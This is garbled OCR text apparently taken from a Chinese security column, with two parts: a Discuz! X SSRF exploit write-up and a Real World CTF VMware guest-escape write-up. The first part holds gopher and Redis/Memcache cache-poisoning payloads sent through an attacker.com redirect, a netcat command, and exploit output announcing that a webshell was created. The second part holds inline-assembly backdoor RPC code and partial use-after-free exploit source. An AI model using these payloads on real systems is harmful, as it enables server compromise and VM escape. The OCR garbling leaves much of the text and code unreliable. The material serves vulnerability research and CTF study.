3A%7BSs%3A4%3A%22p reg%s22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22p lugins%22%3Bs%3A4%
3A%22%2F . ¥%2F%22%3B%7Ds%3A7%3A%22 rep lace%22%3Ba%3A1%3A%7Bs%3A7%3A%22p lugins%22%3Bs%3A9%3A%22phpinfo
()9%22%3B%7D%7D%7Ds%3A13%3A%22 rewritestatus%22%3B1%3A1%3B%7D

BREZAEZL SSRF BRAIME, &#_xss_checkiMEIFF AT MRIELLIEK:

@ - C @ {@ debian-jessie.com/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=gopher://localhos e @ {}J [

Discuz! System Error

o BURKIEDERIPSFIEETH, BEWASIEE

PHP Debug

debian-jessie.com B2RILHEESIFMIDR, HILAEHRIOBERAMERITRBME.

PRAFIAZ EEKIRMEIEEE AU R, £ B CRIRFEARSS 28 EBCE T XA R — A :

<?php

$url = base64_decode($_REQUEST['url']);

header( "Location: " . $url );

XA EI LAYE SSRF URL #1T base64 4R MTHLEE xss_checkBi&il,

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http%s3A%2F%s2Fattacker.com%s
2F302. php%3Furl%3DZ29waGVy0i8vbG9j YWxob3NO0jExMj ExL19zZXQMj BIdLIXN2x T c2VOdG LluZyUyMDE IMj AwITIWMTYx
JTBkITBhYSUzQTITMOEWNOIzITNBNiUzQSUyMm91dHB1dCUyMiUzQmEMOEXITNBITdCcyUzQTQIMOE WMj JwecmVnITIyJTNCYSUz
QTIWMOEWNOIzITNBNiUzQSUYMNNT1YXJjaCUyMiUzQmEWMOEXITNBITdCcyUzQTcIMOEMj IwbHVNnaW5zITIyJTNCcyUzQTQMOE
WMj IWMkYuKiUyRiUyMiUzQiU3RHMWMOE3JTNBITIycmVwbGFjZSUyMiUzQmEMOEXJTNBITdCcyUzQTc IMOE WMj IJwbHVnaW5zITIyJ
TNCcyUzQTKkIMOEM]jIwaHBpbmZvKCkIMj ITMOIINOQINOQINORZITNBMTMIMOE IMjJyZXdyaXR1c3RhdHVZzITIyJTNCa

SUzQTE WIMOIINOQ%253D&wxopenid=xxxyyy
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Bihlo)/forum.php?mod=ajax&action=getthreadtypes&inajax=yes, EIR&Zphpinfo(){{i3 B4
AT :

= C' | ® debian-jessie.com/forum.php?mod=ajax&action=getthreadtypes&inajax=yes P i

This page contains the following errors:

error on line 1084 at column 21: Extra content at the end of the document

Below is a rendering of the page up to the first error.

php

System Linux contrib-jessie 3.16.0-4-amd64 #1 SMP Debian 3.16.51-2 (2017-12-03) x86_64
Build Date Jan 5 2018 15:48:17

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path /etc/php5/apache2

Loaded Configuration File

/etc/php5/apache2/php.ini

Scan this dir for additional .ini files

/etc/php5/apache2/conf.d

Additional .ini files parsed

/etc/php5/apache2/conf.d/05-opcache.ini, /etc/php5/apache2/conf.d/10-pdo.ini,
/etc/php5/apache2/conf.d/20~curl.ini, /etc/php5/apache2/conf.d/20-gd.ini,
/ete/php5/apache2/conf.d/20~json.ini, /etc/php5/apache2/conf.d/20-memcache.ini,
/etc/php5/apache2/conf.d/20-mysql.ini, /etc/php5/apache2/conf.d/20-mysgli.ini,
/ete/php5/apache2/conf.d/20-pdo_mysql.ini, /etc/php5/apache2/conf.d/20-readline.ini,
/etc/php5/apache2/conf.d/20-xdebug.ini

PHP API

20131106

PHP Extension

20131226

Zend Extension 220131226
Zend Extension Build API220131226,NTS
PHP Extension Build API20131226,NTS

HTEEFHBHEN, SSBENETLTEEEET. REEBNEERMERF. BLANBREREZ X
getshell EATAT &<, WA UMELER:

echo —e 'flush_all' | nc localhost 11211

REHRE TR LRE N IREE NN getshell AIRIA:

Version: 3.0.7 to 5.2.0
Found @, trying 0x00000000 - 0x@3ffffff,
Found 4, trying 0x04000000 - OxQ7ffffff,
Found 8, trying 0x08000000 - Ox@bffffff,
Found 10, trying 0x10000000 - @x13ffffff,
Found 12, trying 0x14000000 - Ox17ffffff,
Found 14, trying 0x18000000 - @x1bffffff,
Found 20, trying 0x20000000 - Ox23ffffff,
Found 24, trying @0x24000000 - Ox27ffffff,
Found 28, trying @0x28000000 - OxZbffffff,
Found 42, trying @x2c000000 - @x2fffffff,
Found 52, trying 0x30000000 - @x33ffffff,
Found 56, trying 0x34000000 - Ox37ffffff,
Found 64, trying 0x38000000 - @x3bffffff,

speed 0.0 Mseeds/s

speed 73.7 Mseeds/s
speed 71.8 Mseeds/s
speed 73.5 Mseeds/s
speed 74.1 Mseeds/s
speed 74.4 Mseeds/s
speed 75.2 Mseeds/s
speed 75.1 Mseeds/s
speed 75.2 Mseeds/s
speed 75.4 Mseeds/s
speed 74.8 Mseeds/s
speed 73.5 Mseeds/s
speed 72.3 Mseeds/s

WU P NEMNPAERERWU

python3 memcache_exp.py http://debian-jessie.com ncWB

F1J= @voidfyoo
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Trying memory prefix: vmZdcZ
Trying memory prefix: gdBqQX
Trying memory prefix: JGF1j6
Trying memory prefix: hZ2kK8P
Trying memory prefix: alIzXCO

Trying memory prefix: 05SCXE
Trying memory prefix: YpEhNk
Trying memory prefix: FOuNFE
Trying memory prefix: IsIYubS
Trying memory prefix: wVfjeY

Webshell has been created! *F @voidiyoo

SSRF K i Redis

X, Dz BE Redis EEEMINGE, BIANER TWIEETTA FA= HIMRedis OnfIRE:

4R | Archiver | FHAR | /ME/E | Comsenz Inc.
GMT+8, 2018-3-23 11:07 , Processed in 0.285001 second(s), 10 queries , Redis On.

SSRF K i Redis FISLIR_EFiEE T Memcache @8 7T, RN Redis ¥ lua BI&, ®INEEHR
lua BIASREVEFRZ2MAEBEBRAIS%., SAEMINEENRIIRE Redis JRBEEZIBIAUE, Discuz

requirepass AP—INANE:

$_config['memory'] ['prefix'] = 'IsIYu5_';
$_config['memory'] ['redis'] [*'server'] = '127.0.0.1'
$_config['memory'] ['redis'] ['port'] = 6379;
$_config['memory'] ['redis'] ['pconnect'] = 1;
$<onfig['memory'] ['redis'] ['timeout'] = '0’;
$_config['memory'] ['redis'] ['requirepass'] = '|';
$_config['memory'] ['redis'] ['serializer:} = 4}

Redis REaXITHAT lua f7:
eval "local t=redis.call('keys', ' setting'); for i,v in ipairs(t) do redis.call('set', v, 'a:2:{s:6:\"output\

";a:l:{s:4:\"preg\";a:2:{s:6:\"search\";a:1:{s:7:\"plugins\";s:4:\"/.%x/\";}s:7:\"replace\";a:1:{s:7:
\"plugins\";s:9:\"phpinfo()\"; }}}s:13:\"rewritestatus\";i:1;}') end; return 1;" @

127.0.0.1:6379> eval "local t=redis.call('keys','*_setting'); for i,v in ipairs(t) do redis.call('set
v a2 s TG S o tput i asitlist A A preghSrasZ lisk 6l Sceqrehh@salslts Ist Z NEp Tl grin s S oAt /Al S
:7:\"replace\";a:1:{s:7:\"plugins\";s:9:\"phpinfoOO\";}}}s:13:\"rewritestatus\";i:1;}"') end; return 1

; n @
(integer) 1
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Efetth, X TEREINE, FEIEEA gopher RUZIL:

gopher://localhost:6379/_%3%0d%0a%244%0d%0aeval%s0d%0a%24264%0d%0alocal%s20t%3Dredis.call
('keys'%2C'*x_setting')%3B%20for%s20i%2Cv%20in%20ipairs(t)%20do%20redis.call('set’
%2C%20v%2C%20"'a%3A2%3A%7Bs%3A6%3A%220utput%s22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%s22%3Ba%
3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A4%3A%22%
2F . %%2F%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A9%
3A%22phpinfo()%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D"')%20end%3B%
20return%201%3B%0d%0a%241%0d%0a0%0d%0a

SSRF F)F:

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http%3A%
2F%2Fattacker.com%2F302.php%s3Furl%s3DZ29waGVy0i8vbG9jYWxob3N00jYzNzkvXyozJTBkITBh
JTIONCUWZCUWYWV2YWwIMGQ IMGETMjQyNjQIMGQIMGFsb2NhbCUyMHQ IMORYZWRpcy5jYWxsKCdrzX1zJ
yUyQycgX3N1TdHRpbmcnKSUzQiUyMGZvciUyMGk IMKN2JTIwaW4lMjBpcGFpcnModCklMjBkbyUyMHJ
1ZGlzLmNhbGwoJ3N1dCcIMKMIMjB2JTIDITIwJ2EIMOEYJTNBITdCcyUzQTYIMOEIMjIvdXRwdXQ1MjIIMO
JhJTNBMSUzQSU3QNMMOE@ITNBITIycHI1ZyUyMiUzQmEIMOEYJTNBITdCcyUzQTYIMOEIMjIzZWFyY2g1MjI1M0O
JhJTNBMSUzQSU3QnMIMOE3JTNBITIycGx1Z22lucyUyMiUzQnMIMOE@ITNBITIyJTIGLio IMkYMjIIMOIINORzZ
JTNBNyUzQSUyMnJ lcGxhY2UTMjIIMOIhJITNBMSUzQSU3QnMIMOE3JTNBITIycGx1Z22lucyUyMiUzQnM1IMOES
JTNBIJTIycGhwaW5mbygpJTIyJTNCITAEIJTAEIJTdEcyUzQTEZJTNBITIycmV3cmlOZXNOYXR1cyUyMiUzQmk
IMOEXITNCITAEIJYykIMjBlbmQIMOITMjByZXR1cm4 TMjAxIJTNCITBKkITBhITIOMSUwZCUwYTAIMGQ LMGE
%253D&wxopenid=xxxyyyzzz

BRI RHAT RIS
BET
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/41eb5bb0a3a716t84b0cededfeb41e6f25a980a3

z 887 WordPress FRRIMUE, X url BEXRIIN. IHOMT BRBERE, HRGE 715K IP #iER
BENBRT localhost DUSMOEMAMERMLE, SEENE A BIRMNE . ALTEBEL SSRF FA
gopher hi¥I#E Dz EFRS T .

Y 18] 2%

2018/03/23: [6) TSRC k&4t SSRF

2018/03/26: TSRC HiANmEFRE, HESHTREEE
2018/04/09 - 2018/08/01: #hB) TSRC #1TRAEE
2018/11/06: DiscuzX 7t gitee F12Z34FT commit
2018/12/09: AFIRE*IE
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Real World CTF 2018

Finals Station—Escape Writeup
fE&: bibi

by r3kapig

RWCTF  Final 2 RSIFBEFEHN—RZFE, FBEMWILLE, EhESEREHERRAANAR, EfStation-Es-
capeg —1BVMWare Workstation®ti2rREE, HA1%1GIFFcool, FMNHEIT THFADT, XEIFERPRERE

B flyyyME TR M BB B ORI ARES . KX TIFHEr3kapighINeOFIbibist AL .

AIE AR

EVMWare®, — PN ER, FEvmtools, vmtoolsEBBIE EHFE IR B I1E X e
ARN—RIINBEMNRE, ERERT —FM# R IbackdoorfyiE [, backdooriE 2 #0178 E 43
TEENIRE, iV ERbackdoorREAISEI, AT LI TS :

MOV EAX, 564D5868h /* magic number */
MOV EBX, command-specific-parameter
MOV CX, backdoor—-command-number

MOV DX, 5658h /* VMware I/0 Port x*x/

IN EAX, DX (or OUT DX, EAX)

BAFERHNE, ZEOCAPSHMAINUNER, 2REMRET, INBLE—FENES, aE8H
PERETELEERN., A, BITXFIESSILRPSEFEEFEE RIhypervisor2, Mifhyper—
visor R AXS B P AL AT HERAVIRIEAM IR, HUFIBLENHIZEN 785, A Abackdoorf@EHHl,
BEFPAERLMERARPCIHIT—RIIBIRME, Hlalie. €. KBER. REERFE,

backdoorflFIFFEMa<HERSE, EAHERELIRESTFER. AEEBINOUTHEIUESHER,
BB AR EAbackdoor{EMRPCIESE T HPLE S IRIE? FATUAAES K 2 f9backdoorigfE #1715 AR :
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| Open RPC channel |

v

| Send RPC command length|

v

| Send RPC command data |

% ot =

v

| Recieve RPC reply length |

| Receive RPC reply data |

vV

| Finish receiving RPC reply |

vV

| Close RPC channel |

MTRBEEESE (ZXHENETERBERBELEAN, BERXFERH)

https://sites.google.com/site/chitchatvmback/backdoor

Open RPC channel

RPC subcommand: 00h

BAIN (OUT) B, FERENFFHAS!

EAX

564D5868h - magic number
EBX

49435052h - RPC open magic number ('RPCI')
ECX(HI) = 0000h - subcommand number

ECX(LO) = @01Eh - command number
EDX(LO) = 5658h - port number
IR [El1E

ECX = 00010000h: success / 00000000h: failure
EDX(HI) = RPC channel number

1ZINEEA F T FRPCHIchannel, EARECX&IREIZEHIN, EDXIREMESRIRE—"Tchannel RS,
HEEEPNRPCEIEY, BERZES. XEFEITERMNE, FETEM S REERMEFER8 N channel
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ERIT I EI N channel BT R, SRMEEfMchannelf9FTFFETE], WMRFEE TE -1

8, 2B8Ichannelx ], BIEX 1 channelfi4RSiR([El; WMRERBBI, create channel&k,

BT DMER AT

void channel_open(int

"movq
"movq

"movq

"movl
"movl
"movl

"mov 1

"out %%

"movl %%

"movl

"movl

#SLIMOpen RPC channel AT FE:

kxcookiel,int *cookie2,int *channel_num,int x*res){
asm("movl %%eax,%%ebx\n\t"

%%rdi,%%r10\n\t"

o°

%rsi,%s%srll\n\t"
%%rdx,%%srl12\n\t"

"movqg %%rcx,%%sr13\n\t"
$0x564d5868,%%eax\n\t"
$0xc9435052,%%ebx\n\t"
$0x1le,%%ecx\n\t"
$0x5658,%%edx\n\t"
eax,%%dx\n\t"
edi, (%%r10)\n\t"
%%esi, (%%r1l)\n\t"
%%edx, (%%r12)\n\t"

"movl %%ecx, (%%r13)\n\t"

Ilg,raxll 1o, rbxll ""/I’CX" LLT-5% r-dXII ||9,rSl|| 1o, rdlll o, r‘8","°/or10","%r‘ll","%r‘lZ","°/or‘13"

Send RPC command length

RPC subcommand: 01h

W

EAX
EBX

ECX(HI)
ECX(LO)
EDX(HI)
EDX(LO)

564D5868h - magic number

command length (not including the terminating NULL)

R[EE:

ECX

00810000h:

0001h - subcommand number
001Eh - command number
channel number

5658h - port number

success / 00000000h: failure

7



KERAEZ2018FEXE

Chaitin Tech Column 2018

£&3%RPC commandgl, TEKAIERPC commandiEE, EEITEMNE, RN ANchan-
nel numberffig@Aichannel b4t FE R opentPIRS, ECXEIREIEERINAE, BRI T:

void channel_set_len(int cookiel,int cookie2,int channel_num,int len,int *res){
asm("movl %%eax,%%ebx\n\t"
"movqg %%r8,%%rlo\n\t"

"movl %%ecx,%%ebx\n\t"

"movl $0x564d5868,%%eax\n\t"

"movl $0x0001001e,%%ecx\n\t"

"movw $0x5658,%%dx\n\t"

"out %%eax,%%dx\n\t"

"movl %%ecx, (%%r10)\n\t"

:Ilo/raxll o rbxll "9’r‘CX" o rdxll Ilo/rslll no, rdill'll%rlell

) 2

Send RPC command data

RPC subcommand: 02h

B

EAX

564D5868h - magic number
EBX = 4 bytes from the command data (the first byte in LSB)

ECX(HI) 0002h - subcommand number

ECX(LO) 001Eh - command number
EDX(HI) = channel number

EDX(LO)

5658h — port number

REE:

ECX = 000010000h: success / 00000000h: failure

ZINgEwIifESend RPC command length/5fE R, 8 REEAZE4ITFTH, A, UREBELREGSL
machine.id.get, BBAMMEIBBL4R, DHIA:
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EBX set
EBX set
EBX set
EBX set

to
to
to
to

6863616Dh ("mach")
2E656E69h ("ine.")
672E6469h ("id.g")
00007465h ("et\x00\x00")

ECXZRMEIZEMIN, BIRSZIAT:

void channel_send_data(int cookiel,int cookie2,int channel_num, int

asm("pushqg %%rbp\n\t"

""movq %%r9,%%rlo\n\t"

""movq %%r8,%%rbp\n\t"

""movqg %%rcx,%%rll\n\t"

""movqg $0,%%r12\n\t"

"1:\n\t"

""movqg %%r8,%%rbp\n\t"

"add %%ril2,%%rbp\n\t"

"movl (%%rbp),%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"mov0l $0x0002001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"

"out %%eax,%%sdx\n\t"

"addq $4,%%r12\n\t"

""empg %%rl2,%%rll\n\t"

"ja 1b\n\t"

"movl %%ecx, (%%r10)\n\t"

o

"popq %%rbp\n\t"

KERAEEZ2018FEEXNE
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len, char *data,int *res){

"%rax", "srbx", "%srcx", "srdx", "%rsi", "srdi","%r10","%r11","%ri2"

Recieve RPC reply length

RPC subcommand: 03h

TR

EAX = 564D5868h - magic number

0003h - subcommand number
001Eh - command number
channel number

5658h - port number
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RE1E:

EBX
ECX

EIWRPC replylIKE, EBTEMNEZMBENRPC command#PEiREIZE /D2 NF T HreplyfOEIE,

reply length (not including the terminating NULL)
00830000h:

success / 00000000h:

failure

KERAEZ2018FEXE
Chaitin Tech Column 2018

Hh1:R/Rsuccess, 0K Rfailure, BMEVMwareTLiEIRBIRPC command, t24&iR[EI0 Unknown com-

mandfEAreply, tBELE1%, replyHIEHMBIM ™F HIREFR/RIRPC commandan LBV,

void channel_recv_reply_len(int cookiel,int cookie2,int channel_num, int xlen,int *xres){

asm("movl %%eax,%%ebx\n\t"

""movq
""movq
"movl
"movl

"movw

%%r8,%%r10\n\t"
%%rcx,%%srl1l\n\t"
$0x564d5868, %%eax\n\t"
$0x0003001e,%%ecx\n\t"
$0x5658,%%dx\n\t"

"out %%eax,%%dx\n\t"

"mov 1

""mov 1

:"%srax","srbx","%srcx","%srdx","%srsi","%rdi","%r10","%r11"

%%ecx, (%%r10)\n\t"

O\o

%%ebx, (%%r1l)\n\t"

Receive RPC reply data

RPC subcommand: 04h

TR

EAX
EBX

564D5868h - magic number

reply type from subcommand 03h

ECX(HI) =

ECX(LO)
EDX(HI)

EDX(LO) =

Rl

0004h - subcommand number
Q001Eh - command number
channel number

5658h — port number
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EBX = 4 bytes from the reply data (the first byte in LSB)
ECX 00010000h: success / 00000000h: failure

Fhttps://sites.google.com/site/chitchatvmback/backdoori B HANE, TELFRAVIYEE DT
i, EBXHRFIAE, T =reply id, MEreply type, MURE THITHEE. MEAERE—1F, B8XR6E
BEZAPFHORE. FEEIENE, FflERecieve RPC reply length/igEIT, WEEIERIETM
FHIREFRRRPC commandf PR, ZHIiRE, MRBAVMEARPC commandifllamachine.id.get, 4l
RRHINEIE, &£IR[E1 <virtual machine id>, FNJ0 No machine id,

void channel_recv_data(int cookiel,int cookie2,int channel_num,int offset,char xdata,int xres){
asm("pushg %%rbp\n\t"
"movq %%r9,%%rlo\n\t"
""movq %%r8,%%rbp\n\t"
""movqg %%rcx,%%srll\n\t"
"movqg $1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0004001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"

"add %%rll,%%rbp\n\t"
"movl %%ebx, (%%rbp)\n\t"

"movl %%ecx, (%%rl@)\n\t"

"popq %%rbp\n\t"

:Ilo/r.axll llg,rbxll ||9,rcxll no rdxll "°oFSl" o rdlll ||9,r10|| o r.11" o122

Finish receiving RPC reply
RPC subcommand: 05h

ek

EAX 564D5868h — magic number

EBX = reply type from subcommand 03h
ECX(HI) = 0005h - subcommand number
ECX(LO) = @01Eh - command number
EDX(HI)

EDX(LO)

channel number

5658h — port number
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ECX = 00010000h: success / 00000000h: failure

RIS AR —4E, FEEBXH{FfEMZreply type., EiEWSEreplylEiIERE,
TReceive RPC reply dataizli5EE Treply#iERIE, PR Efailure,

void channel_recv_finish(int cookiel,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
""movq %%rcx,%%sr1o\n\t"
"movqg $0x1,%%rbx\n\t"
"movl $0x564d5868,%%ecax\n\t"
"movl $0x0005001e,%%secx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%sdx\n\t"

"movl %%ecx, (%%r10)\n\t"

("%rax", "srbx", "srcx", "%srdx", "%srsi", "%srdi", "%srl10"

Close RPC channel

RPC subcommand: 06h

BA:

EAX = 564D5868h - magic number

ECX(HI) 0006h - subcommand number

ECX(LO) = @01Eh - command number
EDX(HI) = channel number
EDX(LO)

5658h — port number

RME]:

ECX = 00010000h: success / 00000000h: failure

*H#channel,

KERAEZ2018FEXE
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BREke<S, IREE
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void channel_close(int cookiel,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%sebx\n\t"
""movq %%rcx,%%srio\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0006001e,%%ecx\n\t"
""movw $0x5658,%%dx\n\t"
"out %%eax,%%sdx\n\t"

"movl %%ecx, (%%r10)\n\t"

t"%rax", "srbx", "srcx", "%srdx", "%srsi", "%srdi", "'%ri1e"

~
-~

R

KERAREH2018EENE

Chaitin Tech Column 2018

BRERealWorldI=ZE, BEENEBRHIVMWare Workstation, FEItEH(TE T —#HELEXN 895

XA NRREMEIREIR, PEAREN HGIRRHITNIRBIZENRE,

Result  AddressA  SizeA  AddressB  SizeB

O Match Oh 1893C9h Oh 1893C%
| | Difference 1893C8h 8h 1893C%h 8h
| O Match 1893D1h 15h 1893D1h 15h
| W Difference 1893E6h Th 1893E6h

T“'?: {7y e e
| DMatch  1893E7h  101CECTh 1893E7h  107CECTA’

AR BRAER T HLL, —4&TE0x1893¢9, H—4bE0x1893e6, PRI MIBFITOMT:

annel->state = 1;
1->VirtualTime = VmTime ReadVirtualTime();
I->out msg buf = OLL;  // no here |

ctive(a, 1
channel-»finish_recv;
vi = pet member puess(3); 1l set at rbx ’ e
l'.-I}{chrllzru'l-bsumestrl.lct, vs, v7 & 1); // the flag decides whether to free thepus#ai="r
vE = @x10000;

B57E0x1893c94h, channel->out_msg_buf&nullBIREH nopIE T -

text:00000000001893C3 mov [rbx+18h], rax
text:00000000001893C7 xor edi, edi
text:00000000001893C9 nop
text:00000000001893CA nop
text:00000000001893CR nop
text:00000000001893CC nop
text:00000000001893CD nop
text:00000000001893CE nop
text:00000000001893CF nop
text:00000000001893D0 nop
text:0000000000189301 call set_disactivg|=F (0=
text:00000000001893D6 mov edi, 3
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HIRTE0x1893e64b MR AR, v7&1ZA T v7&0x21:

.text: 0000000001893 E4 and eax, 21h
.text:00000000001893E7 mov esi, ebp
.text:00000000001893E9 mov rdl, [rbx+48h]

FE —4patch®, out_msg_bufiSBRET, ERAEE “Lpatchd, REERH Nreply
type(&O0x1)ZE R T &0x21, Wt 2%, FA17EFinish receiving RPC replyfireply typeH a] LAIG & BIh—5%
B, XEXRESSHEBENVeXMERB(ERCcalll®Esub_177700), output bufferififreelz,

® 7 vd = al ->output_buf;
8 1if ( flag & ox20 )

i
® 10 free(va);

12 else if ( !(flag & 0x10) )

void channel_recv_finish2(int cookiel,int cookie2,int channel_num, int *res){
asm(''movl %%eax,%%sebx\n\t"
"'movq %%rcx,%%sr1o\n\t"
""movq $0x21,%%rbx\n\t"
""movl $0x564d5868,%%eax\n\t"
""movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%sdx\n\t"

"movl %%ecx, (%%r10)\n\t"

llg,raxll ||9,rbX|| Ilo/rcxll (LI rdXII'lloorSlll (11- rdlll o r1Q"

NGRS

M EERZFA A, XTpatchzSHUARMRENEZ KR ZFIRE T O0x20X ML, B4
output bufferfi=#HKFEMIE, ERTERBHREFER, MUIER LRI ULRREE Efreets, B 7 XL
M, BANERZABIFAEMAET .

MEBLZEWT:
Leak:

1.F ™ Nchannel:A, B
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2.AfJoutput bufferigbuf A SR AR buf_A
XHEBEZ tAguest Koutput,BE e —buffer, HAIFIBHinfo—setflinfo—get3iZHIFH 110 B
fbufferk/)y, {F18BMoutput buffer: buf_B=buf_A,

A ABRBERbUf_A, XS Tbuf BN, XM ERBAIRM A Mleaktibuf_BRYfd T (EERX T 15
HRAEMTLAR, BITBENZtext base,

5. B FATBHITH S vmx.capability.dnd_version,iX&1thost D B — IR A ZERFR—"Tobj, @iT 1%
Flbuffer K/NBATA LARIGF iEbuf B FAREM —obj., MiXPobjEEBvtable, BA1r] Mlleak i kit &
text base, FRKMN—BEREZEZBNAL, RBILEMFES(DEoutput buffer), BEEIX A EEA]
THERIENBE, FThleak

Exploit

B TleakM A%, exploittIth @KUMY, EEFRIZHMEUAF, iBtcachefIfdiiZlbssE, AR
385 N system, & G538 calculator

HIAFENexpl L TER, RRAINUSZ:

#include <stdio.h>

#include <stdint.h>

void channel_open(int *cookiel,int *cookie2,int *channel_num,int *res){

asm("movl %%eax,%%ebx\n\t"

""movq %%rdi,%%sr10\n\t"
""movq %%rsi,%sr1l\n\t"
""movq %%rdx,%%sr12\n\t"
"'movq %%rcx,%%sri3\n\t"
""movl $0x564d5868,%%eax\n\t"
""movl $0xc9435052,%%ebx\n\t"
""movl $0xle,%%ecx\n\t"
"movl $0x5658,%%edx\n\t"
"out %%eax,%%sdx\n\t"
"movl %%edi, (%%r10)\n\t"
"movl %%esi, (%%r1l)\n\t"
"movl %%edx, (%%r12)\n\t"

"movl %%ecx, (%%ri3)\n\t"

Il%raxll Ilg,rbxll llgarcxll (1] rdxll lloor-slll o rdill'll%rgll'll%rl Il'llo/orl II'IIQ/orlzll,llo/or13ll

);zz

void channel_set_len(int cookiel,int cookie2,int channel_num,int len,int xres){
asm("movl %%eax,%%ebx\n\t"
"'movq %%r8,%%r10\n\t"
""movl %%ecx,%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
""movl $0x0001001e,%%ecx\n\t"
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"movw $0x5658,%%dx\n\t"
"out %%eax,%%sdx\n\t"
"movl %%ecx, (%%r10)\n\t"

.Iloor-axll o rbxll llg,r.cxll llg,rdxll "°or‘Sl" g, rdlll " r1Q"

E:

void channel_send_data(int cookiel,int cookie2,int channel_num,int
asm("pushqg %%rbp\n\t"
""movq %%r9,%%r10\n\t"
""movq %%r8,%%rbp\n\t"
""movq %%rcx,%%sr1l\n\t"
"movq $0,%%r12\n\t"
"1:\n\t"
""movq %%r8,%%rbp\n\t"
"add %%ril2,%%srbp\n\t"
"movl (%%rbp),%%sebx\n\t"
"movl $0x564d5868,%%ecax\n\t"
"movl $0x0002001e,%%secx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%sdx\n\t"
"addq $4,%%r12\n\t"
""empg %5%rl12,%%sr1l\n\t"
"ja 1b\n\t"
"movl %%ecx, (%%r10)\n\t"
"popq %%srbp\n\t"

lllo/raxll g rbxll Ilo/rcxll g rdxll ""/I’Sl" g rdlll Mo || g r.11" g

)

len, char *data,int *res){

%ri2"

void channel_recv_reply_len(int cookiel,int cookie2,int channel_num,int xlen,int xres){

asm("movl %%eax,%%ebx\n\t"
""movq %%r8,%%r10\n\t"
""movq %%rcx,%%sr1l\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0003001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%sdx\n\t"
"movl %%ecx, (%%r10)\n\t"
"movl %%ebx, (%r1l)\n\t"

lllooraxll g rbxll Iloorcxll g rdxll "OOrsl" g rdlll 1o r‘10","°/or11"

ik
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void channel_recv_data(int cookiel,int cookie2,int channel_num,int offset,char xdata,int x*res){

asm("pushqg %%rbp\n\t"
""movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"'movq %%rcx,%%sr1l\n\t"
"movqg $1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0004001e,%%secx\n\t"
"movw $0x5658,%%dx\n\t"
"in %%dx,%%eax\n\t"
"add %%rll,%%srbp\n\t"
"movl %%ebx, (%%rbp)\n\t"
"movl %%ecx, (%%r10)\n\t"
"popq srbp\n\t"

.Ilooraxll llg,rbxll llg,rcxll 1o rdXIl ||o°rsl|| g, rdlll g r10ll o r11ll o r12"

E:

void channel_recv_finish(int cookiel,int cookie2,int channel_num, int *res){
asm("movl %%eax,%%sebx\n\t"
"'movq %%rcx,%%sr1o\n\t"
""movq $0x1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%sdx\n\t"
"movl %%ecx, (%%r10)\n\t"

lllo/raxll g rbxll Ilo/r.cxll g rdxll "°/r‘51" g rdlll g rlell

ME:
¥

void channel_recv_finish2(int cookiel,int cookie2,int channel_num, int xres){
asm("movl %%eax,%%sebx\n\t"
"'movq %5%rcx,%%sr1o\n\t"
""movq $0x21,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%secx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%sdx\n\t"
"movl %%ecx, (%%r10)\n\t"

lllooraxll g rbxll Iloor-cxll g rdxll Iloorsl" g rdlll g rlell

ME:
¥

void channel_close(int cookiel,int cookie2,int channel_num,int *res){
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asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%sr1o\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0006001e,%%secx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%sdx\n\t"
"movl %%ecx, (%%r10)\n\t"

(M%rax", "srbx", "srcx", "%srdx", "%srsi'", "srdi", "'%sri1e"

)p

struct channel{

int cookiel;
int cookie2;

int num;
e
uint64_t heap =0;
uint64_t text =0;

void run_cmd(char *cmd){

struct channel tmp;
int res,len,i;
char xdata;
channel_open(&tmp.cookiel, &tmp. cookie2,&tmp.num,&res);
if(!res){

printf("fail to open channel!\n");

return;
¥
channel_set_len(tmp.cookiel, tmp.cookie2,tmp.num,strlen(cmd),&res);
if(!res){

printf("fail to set len\n");

return;
}

channel_send_data(tmp.cookiel, tmp.cookie2, tmp.num,strlen(cmd)+0x10,cmd,&res);

channel_recv_reply_len(tmp.cookiel, tmp.cookie2, tmp.num,&len,&res);
if(!res){

printf("fail to recv data len\n");

return;
¥
printf("recv len:%d\n",len);
data = malloc(len+0x10);
memset (data, @, len+0x10) ;
for(i=0; i<len+0x10; i+=4){

channel_recv_data(tmp.cookiel, tmp.cookie2,tmp.num,i,data,&res);
¥
printf("recv data:%s\n",data);
channel_recv_finish(tmp.cookiel, tmp.cookie2, tmp.num,&res);
if(!res){
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printf("fail to recv finish\n");

